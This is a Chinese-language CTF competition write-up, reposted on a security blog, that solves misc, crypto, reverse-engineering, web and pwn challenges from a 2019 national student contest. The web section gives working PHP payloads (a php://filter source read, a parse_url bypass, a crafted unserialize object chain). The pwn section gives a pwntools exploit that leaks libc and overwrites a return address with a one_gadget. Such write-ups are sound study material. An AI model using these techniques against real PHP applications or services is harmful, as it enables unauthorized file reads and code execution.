第十二届全国大学生信息安全竞赛线上初赛 WriteUp by X10Sec

admin 2021年9月15日09:45:27评论307 views字数 13203阅读44分0秒阅读模式

前言

上一年没参加国赛,今年第一次参加,玩得有点吃力。

比赛入口地址:https://race.ichunqiu.com/topic/2019dxs

这次比赛共 1180 支队伍参加,场景实操共 25 道题

我们只解出 8 道题,总分排名第 129,分区排名第 16。

0x00 Misc - 签到

一个40多M的软件
打开之后是一个监控摄像头,人脸识别一会之后就出来 flag

Flag: flag{87e37d95-6a48-4463-aff8-b0dbd27d3b7d}

0x01 Misc - saleae

题目给了 saleae 逻辑分析仪的数据文件,以前用过这个分析仪。

使用配套软件打开数据文件,设置 SPI 线,设置 A1A2 时间段。

`Channel 0` 为 `spi clock`
`Channel 1` 为 `spi miso`
`Channel 2` 为 `spi mosi`
`Channel 3` 为 `spi enable`

右下角解码得到 Flag

Flag: flag{12071397-19d1-48e6-be8c-784b89a95e07}

0x02 Crypto - puzzles

第一次见这种题型,给出了5小题。

第0小题:

一个方程组,直接用 z3 来解。

from z3 import *

s=Solver()

a1=Int('a1')
a2=Int('a2')
a3=Int('a3')
a4=Int('a4')

s.add(13627*a1+26183*a2+35897*a3+48119*a4==347561292)
s.add(23027*a1+38459*a2+40351*a3+19961*a4==361760202)
s.add(36013*a1+45589*a2+17029*a3+27823*a4==397301762)
s.add(43189*a1+12269*a2+21587*a3+33721*a4==350830412)

while True:
    if s.check()==sat:
        print s.model()
        break

计算得到结果:

a1 = 4006 (0xfa6)
a2 = 3053 (0xbed)
a3 = 2503 (0x9c7)
a4 = 2560 (0xa00)

第1小题:

给出了一组数,要求出第二个数。观察发现数字很相近,而且都是质数,质数之间存在的质数个数相等。

网上查质数表,找到对应的质数。

http://smallprimenumber.blogspot.com/2008/12/prime-number-from-26000000-to-26500000.html

Part1 = 26365399 (0x1924dd7)

第2小题:

一道数学题,定积分和极限求解,可以直接用 SageMath 求解。

x=var(x)
f(x)=(pow(x,2)-3*x+2)/(pow(x,2)-4)
r1=4*lim(f(x),x=2)

x=var(x)
f(x)=pow(e,x)*pow(4+pow(e,x),2)
r2=3*integral(f,x,0,ln(2))

x=var(x)
f(x)=(1+5*ln(x))/x
r3=2*integral(f(x),x,1,e)

x=var(x)
f(x)=x*sin(x)
r4=integral(f(x),x,0,pi/2)

res=(r1+r2+r3+r4)*77
print(res)

得到结果:

Part2 = 7700 (0x1e14)

第3小题:

大学物理题。可以在网上找到对应的公式。

http://www.doc88.com/p-7082014596920.html

感应电动势=B*2*pi*r*(dr/dt)

B=4T, r=2m, dr/dt=5m/s
代入计算
解得结果=80*pi=Part3*pi/233

Part3 = 18640 (0x48d0)

第4小题:

直接能在网上找到原题。

https://www.zybang.com/question/aed760f3251be1a87a2ab0d2069eb295.html

运用 Fubini 定理求解计算。

结果=336*pi=Part4*pi/120

Part4 = 40320 (0x9d80)

最终可以得到完整的 Flag

Flag: flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}

0x03 Crypto - part_des

Round n part_encode-> 0x92d915250119e12b
Key map -> 0xe0be661032d5f0b676f82095e4d67623628fe6d376363183aed373a60167af537b46abc2af53d97485591f5bd94b944a3f49d94897ea1f699d1cdc291f2d9d4a5c705f2cad89e938dbacaca15e10d8aeaed90236f0be2e954a8cf0bea6112e84

题目给出了 Round n part_encodeKey map

Round n part_encode 长度为 64bit,所以应该是一个加密分组,但是不知道是第几轮加密的结果。

Key map 长度为 768bit=16*48bit,所以应该是16轮密钥放在一起。

网上找到一个加解密脚本,写个循环试一下,看解密结果是否位于 ASCII可见字符域 里。

代码太长了,贴个核心部分代码:

def decrypt(t):
    key=0xe0be661032d5f0b676f82095e4d67623628fe6d376363183aed373a60167af537b46abc2af53d97485591f5bd94b944a3f49d94897ea1f699d1cdc291f2d9d4a5c705f2cad89e938dbacaca15e10d8aeaed90236f0be2e954a8cf0bea6112e84
    key=bin(key)[2:]
    keys=[]
    for i in range(16):
        tmp=[]
        for j in range(48):
            tmp.append(int(key[48*i+j]))
        keys.append(tmp)
    keys=keys[::-1]

    D=0x92d915250119e12b
    D=hex(D)[2:-1]

    temp = [0]*64;
    data = string2Binary(D)

    left =  [0] * 32
    right = [0] * 32
    for j in range(32):
        left[j] = data[j + 32]
        right[j] = data[j]

    for i in range(t,17):
        old_left = left
        old_right = right
        #获取(48bit)的轮子密
        key = keys[i-1]
        #L1 = R0
        left = old_right
        #R1 = L0 ^ f(R0,K1)
        fTemp = f(old_right, key)#32bit
        right = diffOr(old_left, fTemp)
    #组合的时候,左右调换
    for i in range(32):
        temp[i] = right[i]
        temp[32 + i] = left[i]

    temp = changeInverseIP(temp)
    str = binary2ASC(intArr2Str(temp))
    print str

for i in range(1,18):
    decrypt(i)

解密得到符合条件的结果:

79307572394F6F64

hex2bin 解得 Flag

Flag: flag{y0ur9Ood}

0x04 Web - JustSoso

访问网页看到提示 index.php?file=xxx.phphint.php

php伪协议 读取源代码。

/index.php?file=php://filter/convert.base64-encode/resource=index.php
/index.php?file=php://filter/convert.base64-encode/resource=hint.php

index.php

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
    echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

因为会判断是否存在 flag,所以无法直接包含 flag.php 文件来读取 flag

payload 参数会被反序列化,存在反序列化漏洞。

这里会通过 parse_url 获取 url 的信息,然后判断参数值里是否存在 flag。不过可以通过访问 ///index.php,在 url 前面多加几个 /,让 parse_url 无法获取 url 的信息,从而绕过对 flag 的检测。

hint.php

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking upn";
    }
    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true); 
            }  
        }
    }
}
?>

这里 Handle__wakeup 时会清空变量值,可以通过修改 反序列化成员数量>实际需要反序列化的成员数量,从而在反序列化时不执行这个函数。

执行 getFlag() 函数可以读取任意文件,但是有个随机数比较 $this->token === $this->token_flag,这里可以通过内存地址绑定实现绕过,即修改 $this->token_flag 的内存地址指向 $this->token

我们需要构造一个 payload 触发反序列化,同时 file 参数包含这个 hint.php 文件。

php 生成需要反序列化的 payload

$a=new Flag('flag.php');
$a->token_flag=&$a->token;
$b=new Handle($a);
$c=serialize($b);
echo urlencode($c);

然后修改一下成员数量。

最终 payload

/index.php?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%2226405399c51ad7b13b504e74eb7c696c%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

得到 Flag

Flag: flag{570a8aea-e399-4e02-be6f-9496a70d6cb7}

0x05 Pwn - your_pwn

程序开启了所有保护(除了got表修改)

程序主要函数为 sub_55B9C37EEB35 IDA分析如图

这里可以通过动态调试,看到栈附近的数据,在v4数组附近,有

这里可以看到有puts函数的一个加了偏移量的地址,因为不知道题目的libc,因此在这里先nc过去泄露了一下远程服务器的对应位置的数据

可以看到也跟我本地的一样,是0x7FA,因此猜测远程主机也是用的 libc6_2.23-0ubuntu11_amd64

libc_puts=0x000000000006F690
libc=eval(addr)-0x16a-libc_puts
one_gadget=libc+0x45216
print "libc -> "+hex(libc)

libc_puts=0x000000000006F690
libc=eval(addr)-0x16a-libc_puts
one_gadget=libc+0x45216
print "libc -> "+hex(libc)

for i in range(29):
    io.recvuntil("input indexn")
    io.sendline('0')
    io.recvuntil('input new valuen')
    io.sendline('0')

for i in range(349,343,-1):
    io.recvuntil("input indexn")
    io.sendline(str(i))
    io.recvuntil('input new valuen')
    one_gadget=hex(eval(str(one_gadget)))
    print 'one_gadget->'+one_gadget
    tmp='0x'+one_gadget[a:a+2]
    print tmp
    tmp=eval(tmp)
    print tmp
    io.sendline(str(tmp))
    a=a+2

io.interactive()


io.recvuntil('do you want continue(yes/no)? n')
io.sendline('no')
io.interactive()

所以这里思路就很明朗了

通过泄露puts的地址,来计算libc地址.得到了libc地址之后再计算one_gadget地址

因为栈的偏移量都是固定的,所以可以在本机主机直接计算出数组的哪一个index对应哪一个字节的数据,因此可以计算出执行ret时rsp指向的栈的位置.

脚本如下

#coding:UTF-8
from pwn import *
context(os='linux',arch='amd64')

global a
a=2

Debug = 0

if Debug:
    io=process('./pwn')
else:
    io=remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com',57856)

pause()

addr='0x'
io.recvuntil('input your name nname:')
io.sendline('iopr')

for i in range(51,57):
    io.recvuntil("input indexn")
    io.sendline('-'+str(i))
    io.recvuntil('now value(hex) ')
    data=io.recvuntil('n')[-3:-1:]
    #
    print data
    #
    if len(data)==1:
        data='0'+data
    addr+=data
    #
    print addr
    #
    io.recvuntil('input new valuen')
    tmp=eval('0x'+data)
    print tmp
    io.sendline(str(tmp))

Flag: flag{95be2685b9557803dd8d1de21cfebfcc}

0x06 Reverse - easyGo

根据题目名称和 IDA 结合来看,猜测是一个 go 写的程序。

程序的符号信息被去除了,用 IDAGolangHelper 恢复符号信息。

然后看 main_main 函数,在 encoding_base64__ptr_Encoding_DecodeString 处下断点。

单步调试到这里,跟进 rsi 地址的内存数据,就能看到 flag 了。

Flag: flag{92094daf-33c9-431e-a85a-8bfbd5df98ad}

0x07 Reverse - bbvvmm

一道考察虚拟机和加密算法的逆向题。大致流程如下。

输入用户名和密码,用户名和密码会被分开校验。

用户名为 8字节 长度,先被 bin2hex 处理变成 16字节 长度。

sm4_keyext 进行密钥扩展,与处理后的用户名一起参与 sm4 加密。

加密结果进行 bin2hex 处理,再进行一个被修改过编码表的 base64 编码,最后比较 base64 的内容。

结合网上的代码进行修改,写出这部分的解密代码,得到用户名:badrer12

import string

base64_charset = 'IJLMNOPKABDEFGHCQRTUVWXSYZbcdefa45789+/6ghjklmnioprstuvqwxz0123y'

def b64encode(origin_bytes):
    base64_bytes = ['{:0>8}'.format(str(bin(b)).replace('0b', '')) for b in origin_bytes]

    resp = ''
    nums = len(base64_bytes) // 3
    remain = len(base64_bytes) % 3

    integral_part = base64_bytes[0:3 * nums]
    while integral_part:
        tmp_unit = ''.join(integral_part[0:3])
        tmp_unit = [int(tmp_unit[x: x + 6], 2) for x in [0, 6, 12, 18]]
        resp += ''.join([base64_charset[i] for i in tmp_unit])
        integral_part = integral_part[3:]

    if remain:
        remain_part = ''.join(base64_bytes[3 * nums:]) + (3 - remain) * '0' * 8
        tmp_unit = [int(remain_part[x: x + 6], 2) for x in [0, 6, 12, 18]][:remain + 1]
        resp += ''.join([base64_charset[i] for i in tmp_unit]) + (3 - remain) * '='

    return resp


def b64decode(base64_str):
    base64_bytes = ['{:0>6}'.format(str(bin(base64_charset.index(s))).replace('0b', '')) for s in base64_str if
                    s != '=']
    resp = bytearray()
    nums = len(base64_bytes) // 4
    remain = len(base64_bytes) % 4
    integral_part = base64_bytes[0:4 * nums]

    while integral_part:
        tmp_unit = ''.join(integral_part[0:4])
        tmp_unit = [int(tmp_unit[x: x + 8], 2) for x in [0, 8, 16]]
        for i in tmp_unit:
            resp.append(i)
        integral_part = integral_part[4:]

    if remain:
        remain_part = ''.join(base64_bytes[nums * 4:])
        tmp_unit = [int(remain_part[i * 8:(i + 1) * 8], 2) for i in range(remain - 1)]
        for i in tmp_unit:
            resp.append(i)

    return resp

Sbox = [
    [0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05],
    [0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99],
    [0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62],
    [0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6],
    [0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8],
    [0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35],
    [0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0x78, 0x87],
    [0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E],
    [0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1],
    [0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3],
    [0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F],
    [0xD5, 0xDB, 0x37, 0x45, 0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B, 0x51],
    [0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8],
    [0x0A, 0xC1, 0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 0xB8, 0xE5, 0xB4, 0xB0],
    [0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84],
    [0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE, 0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48]
]

CK = [
    0x00070e15L, 0x1c232a31L, 0x383f464dL, 0x545b6269L,
    0x70777e85L, 0x8c939aa1L, 0xa8afb6bdL, 0xc4cbd2d9L,
    0xe0e7eef5L, 0xfc030a11L, 0x181f262dL, 0x343b4249L,
    0x50575e65L, 0x6c737a81L, 0x888f969dL, 0xa4abb2b9L,
    0xc0c7ced5L, 0xdce3eaf1L, 0xf8ff060dL, 0x141b2229L,
    0x30373e45L, 0x4c535a61L, 0x686f767dL, 0x848b9299L,
    0xa0a7aeb5L, 0xbcc3cad1L, 0xd8dfe6edL, 0xf4fb0209L,
    0x10171e25L, 0x2c333a41L, 0x484f565dL, 0x646b7279L
]

FK = [0xA3B1BAC6L, 0x56AA3350L, 0x677D9197L, 0xB27022DCL]

def LeftRot(n, b): return (n << b | n >> 32 - b) & 0xffffffff

def t(a):
    a4=a>>4
    a3=a4>>4
    a2=a3>>8
    a1=a2>>8
    return (Sbox[a1>>4][a1&0xf] << 24) + 
           (Sbox[a2>>4&0xf][a2&0xf] << 16) + 
           (Sbox[a3>>4&0xf][a3&0xf] << 8) + 
           Sbox[a4&0xf][a&0xf]

def F(xi, rki):
    B=t(xi[1]^xi[2]^xi[3]^rki)
    return xi[0] ^ B^LeftRot(B,2)^LeftRot(B,10)^LeftRot(B,18)^LeftRot(B,24)

def T_(A):
    B=t(A)
    return B^LeftRot(B,13)^LeftRot(B,23)

def sm4(X,K,rev=0):
    tmp_K=K[4:]
    if rev==1: tmp_K=tmp_K[::-1]
    for i in xrange(32):
        X = [X[1], X[2], X[3], F(X, tmp_K[i])]
    return X[::-1]

def lbc(i):
    tmp=hex(i)[2:]
    if tmp[-1]=='L': tmp=tmp[:-1]
    if len(tmp)%2==1: tmp='0'+tmp
    tmp=tmp.decode('hex')[::-1]
    return int(tmp.encode('hex'),16)

enc = str(b64decode('RVYtG85NQ9OPHU4uQ8AuFM+MHVVrFMJMR8FuF8WJQ8Y='))
m = int(enc,16)
key = 0xD60D29FD0B3A70A553B72A31DAF198DA

X=[m >> (128-32),(m >> (128-32*2))&0xffffffff,(m >> 32)&0xffffffff,m&0xffffffff]
Y=[lbc(key >> (128-32)),lbc((key >> (128-32*2))&0xffffffff),lbc((key >> 32)&0xffffffff),lbc(key&0xffffffff)][::-1]
K=[Y[i]^FK[i] for i in xrange(4)]
for i in xrange(32):
    K.append(K[i]^T_(K[i+1]^K[i+2]^K[i+3]^CK[i]))

X=sm4(X,K,1)
username=''
for i in xrange(4):
    username += hex(X[i])[2:-1].decode('hex').decode('hex')
print username

除了已经得到的用户名,还需要得到密码才能登录进去拿到 Flag

这里要求输入 6 字节的密码,然后放到 ptr + 4 * (i + 0x24LL) 处。而这个 ptr 是在初始化虚拟机的时候定义的。虚拟机运行完毕,*((_DWORD *)ptr + 0x19) 要等于 0

现在开始分析这个虚拟机的构造。

这里初始化了虚拟寄存器,基于物理堆实现的虚拟栈,虚拟机指令及其对应的处理函数,虚拟指令表等。

这是虚拟机运行时,需要执行的虚拟指令表。

这是一条执行虚拟机指令表的循环语句,结束标志为 0xFF。刚好对应上虚拟指令表最后一个指令。

到这里就需要启动 人肉虚拟机指令翻译器,它能够结合指令处理函数和指令表,将每一条指令翻译成伪汇编语句。

B0 19 00 00 00:          push 0x19
B5 0A:                   pop r6
B2 0B:                   push r7
B4 09:                   pop ptr[r6]
B0 1A 00 00 00:          push 0x1A
B5 0A:                   pop r6
04 0B 09:                r7=ptr[r6]
B0 1A 00 00 00:          push 0x1A
B5 0A:                   pop r6
B2 0B:                   push r7
B4 09:                   pop ptr[r6]
90 C2 00 00 00:          jmp 0xC2
91:                      jmp next
01 1A 00 00 00 0A:       r6=0x1A
02 09 00:                r1=ptr[r6]
10 09 30 00 00 00 01:    r2=&ptr[0x30]
B2 01:                   push r2
B2 00:                   push r1
C0:                      *(s0r-1)+=*(s0r-2)
B5 00:                   pop r1
B0 F4 FF FF FF:          push 0xFFFFFFF4
B5 0A:                   pop r6
B1 00:                   push r1[r6]
B5 01:                   pop r2
01 1A 00 00 00 0A:       r6=0x1A
B1 09:                   push ptr[r6]
B5 00:                   pop r1
10 00 78 00 00 00 00:    r1+=0x78
70 00 FF 00 00 00 00:    r1&=0xFF
50 00 18 00 00 00 00:    r1<<=0x18
B2 00:                   push r1
B0 18 00 00 00:          push 0x18
C8:                      *(s0r-1)=*(s0r-2)>>*(s0r-1)
B5 00:                   pop r1
B2 01:                   push r2
B2 00:                   push r1
C3:                      *(s0r-1)^=*(s0r-2)
B5 00:                   pop r1
50 00 18 00 00 00 00:    r1<<=0x18
B2 00:                   push r1
B0 18 00 00 00:          push 0x18
C8:                      *(s0r-1)=*(s0r-2)>>*(s0r-1)
B5 00:                   pop r1
70 00 FF 00 00 00 01:    r2=0xFF&r1
01 19 00 00 00 0A:       r6=0x19
02 09 00:                r1=ptr[r6]
11 01 00 00:             r1+=r2
B0 19 00 00 00:          push 0x19
B5 0A:                   pop r6
B2 00:                   push r1
B4 09:                   pop ptr[r6]
01 1A 00 00 00 0A:       r6=0x1A
B1 09:                   push ptr[r6]
B5 00:                   pop r1
10 00 01 00 00 00 00:    r1+=0x01
01 1A 00 00 00 0A:       r6=0x1A
04 00 09:                ptr[r6]=r1
B0 1A 00 00 00:          push 0x1A
B5 0A:                   pop r6
02 09 00:                r1=ptr[r6]
86 00 06 00 00 00 00:    r1=r1<0x06
88 00 26 00 00 00 r1:    jnz 0x26
91:                      jmp 0x1
FF:                      exit

不过这样还是有点难看懂,那不妨将 人肉虚拟机指令翻译器 的功率调大,让它输出更加美妙而神奇的代码。

ptr_0x1A=0
password='******'
for i in range(0x06):
    ptr_0x1A+=ord(password[i])^(0x78+i)

这样的代码具有很强的艺术观赏性。怀着美好的心情,掐指一算密码就是 xyz{|}

借助 自然之力 登录进去,顺利拿到 pizza大佬 留下的丰厚宝藏:pizza's原味flag 一枚。

from pwn import *

io=remote('39.106.224.151', 10001)
io.send('badrer12n')
io.send('xyz{|}')
io.interactive()
Flag: flag{eafd_134g_vp1d_vsdr_v5yg_ai0g_fsdg_g24t_sdfg}

Source: impakho.com | Author:impakho

相关推荐: [译]当EFBFBD来敲门 – 对Java中字符串与byte数组转换的观察及相关的安全隐患

当EFBFBD来敲门 – 对Java中字符串与byte数组转换对一个观察及相关的安全隐患 我(指原作者,下文同)正在进行一个激动人心的Android应用安全审计,发现了如此多的漏洞以至于我觉得对于开发来说全部推倒重写都比修掉发现的这么多漏洞省事。正…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月15日09:45:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第十二届全国大学生信息安全竞赛线上初赛 WriteUp by X10Sechttp://cn-sec.com/archives/543859.html

发表评论

匿名网友 填写信息